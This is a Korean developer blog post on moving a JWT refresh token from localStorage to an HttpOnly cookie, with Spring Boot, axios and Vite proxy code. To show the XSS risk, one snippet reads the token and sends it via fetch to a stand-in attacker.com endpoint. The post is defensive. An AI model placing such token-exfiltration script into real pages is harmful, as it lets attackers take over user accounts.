Refresh Token을 HttpOnly Cookie로 변경한 이유
문제 인식: localStorage는 안전한가?
기존 방식
기존에는 JWT 기반 인증에서 Access Token과 Refresh Token을 모두 localStorage에 저장했습니다.
// 기존 방식
localStorage.setItem('accessToken', accessToken);
localStorage.setItem('refreshToken', refreshToken);
개발 중 보안 검토를 하면서 한 가지 의문이 들었습니다.
"Refresh Token이 7일간 유효한데, localStorage에 저장해도 괜찮을까?"
XSS 공격의 위험성
XSS(Cross-Site Scripting) 공격 시나리오
XSS 공격이 발생하면, 악성 스크립트가 사용자 브라우저에서 실행됩니다.
// 악성 스크립트가 실행되면...
const stolenToken = localStorage.getItem('refreshToken');
fetch('https://attacker.com/steal', {
body: JSON.stringify({ token: stolenToken })
});
문제점
- localStorage는 JavaScript로 자유롭게 접근 가능 → XSS 공격에 취약
- Access Token: 30분 후 만료 → 피해 제한적
- Refresh Token: 7일간 유효 → 탈취 시 일주일간 계정 접근 가능
해결책: HttpOnly Cookie
HttpOnly 속성의 특징
HttpOnly 속성이 설정된 쿠키는 JavaScript에서 접근할 수 없습니다.
// HttpOnly 쿠키는 JavaScript로 읽을 수 없음
document.cookie // refreshToken이 보이지 않음
저장 방식 비교
| 저장 방식 | JavaScript 접근 | XSS 취약성 |
|---|---|---|
| localStorage | O | O |
| HttpOnly Cookie | X | X |
구현: 백엔드에서 쿠키 설정
Spring Boot에서 로그인 응답 시 쿠키를 설정합니다.
// AuthController.java
ResponseCookie cookie = ResponseCookie.from("refreshToken", refreshToken)
.httpOnly(true) // JavaScript 접근 차단
.secure(true) // HTTPS에서만 전송
.sameSite("Lax") // CSRF 방어
.path("/api/auth") // 인증 경로에서만 전송
.maxAge(7 * 24 * 60 * 60) // 7일
.build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
응답 구조
- Body: Access Token만 반환
- Set-Cookie 헤더: Refresh Token 전송
프론트엔드 변경
Refresh Token을 직접 다루지 않아 코드가 더 간결해졌습니다.
로그인 처리
// 변경 전: refreshToken을 직접 관리
const { accessToken, refreshToken } = response.data;
localStorage.setItem('refreshToken', refreshToken);
// 변경 후: refreshToken은 쿠키로 자동 관리
const { accessToken } = response.data; // accessToken만 받음
// refreshToken은 브라우저가 쿠키로 자동 저장/전송
토큰 갱신
토큰 갱신 시에도 body 없이 요청하면 쿠키가 자동 전송됩니다.
// withCredentials로 쿠키 자동 전송
await axios.post('/api/auth/reissue', {}, { withCredentials: true });
개발 환경 이슈: Cross-Origin 쿠키
문제 상황
구현 후 테스트에서 문제가 발생했습니다.
- 프론트엔드:
localhost:3000 - 백엔드:
localhost:8888
SameSite=Lax 쿠키는 cross-origin AJAX 요청에서 전송되지 않습니다.
해결: Vite 프록시 설정
// vite.config.js
server: {
proxy: {
'/api': {
target: 'http://localhost:8888',
changeOrigin: true,
}
}
}
프록시를 통해 same-origin으로 인식되어 쿠키가 정상 전송됩니다.
브라우저 → localhost:3000/api → (프록시) → localhost:8888/api
↑ same-origin이므로 쿠키 전송됨
결론
변경 사항 요약
| 항목 | 변경 전 | 변경 후 |
|---|---|---|
| Refresh Token 저장 | localStorage | HttpOnly Cookie |
| XSS 취약성 | 있음 | 없음 |
| 프론트엔드 코드 | 토큰 직접 관리 | 자동 관리 |
핵심 정리
- HttpOnly Cookie를 사용하면 XSS 공격으로부터 Refresh Token을 보호할 수 있습니다.
- 개발 환경에서 cross-origin 이슈가 있지만, 프록시 설정으로 해결 가능합니다.
- 보안은 "나중에"가 아니라 처음부터 고려해야 합니다.
추가 고려사항
Access Token은 왜 localStorage에 두는가?
- Access Token은 API 요청마다 헤더에 포함해야 함
- JavaScript에서 접근 가능해야
Authorization: Bearer헤더 설정 가능 - 짧은 만료시간(30분)으로 XSS 피해 최소화
CSRF 공격은?
- SameSite=Lax 설정으로 대부분의 CSRF 공격 방어
- Refresh Token은
/api/auth경로에서만 사용 (path 제한) - 추가 보호를 원하면 CSRF 토큰 도입 가능
운영 환경 배포 시 주의사항
ResponseCookie cookie = ResponseCookie.from("refreshToken", refreshToken)
.httpOnly(true)
.secure(true) // 운영: HTTPS 필수!
.sameSite("Strict") // 운영: Strict로 변경 권장
.domain(".mysite.com") // 서브도메인 공유 시
.path("/api/auth")
.maxAge(7 * 24 * 60 * 60)
.build();
- secure(true): 반드시 HTTPS 환경 필요
- sameSite("Strict"): 더 강력한 CSRF 방어 (운영 환경 권장)
- domain 설정: 서브도메인 간 쿠키 공유 시 명시
'-- 오늘 있었던 개발 일기' 카테고리의 다른 글
| 동기(Sync)와 비동기(Async) (0) | 2026.02.20 |
|---|---|
| Redis 특징 완벽 정리! (0) | 2026.02.20 |
| ReFresh Token 에서 Refresh Token Rotation까지 사용하자 (0) | 2026.02.11 |
| 트랜잭션의 격리 수준 (0) | 2026.02.01 |
| 더미 데이터에 시퀀스? (1) | 2026.01.29 |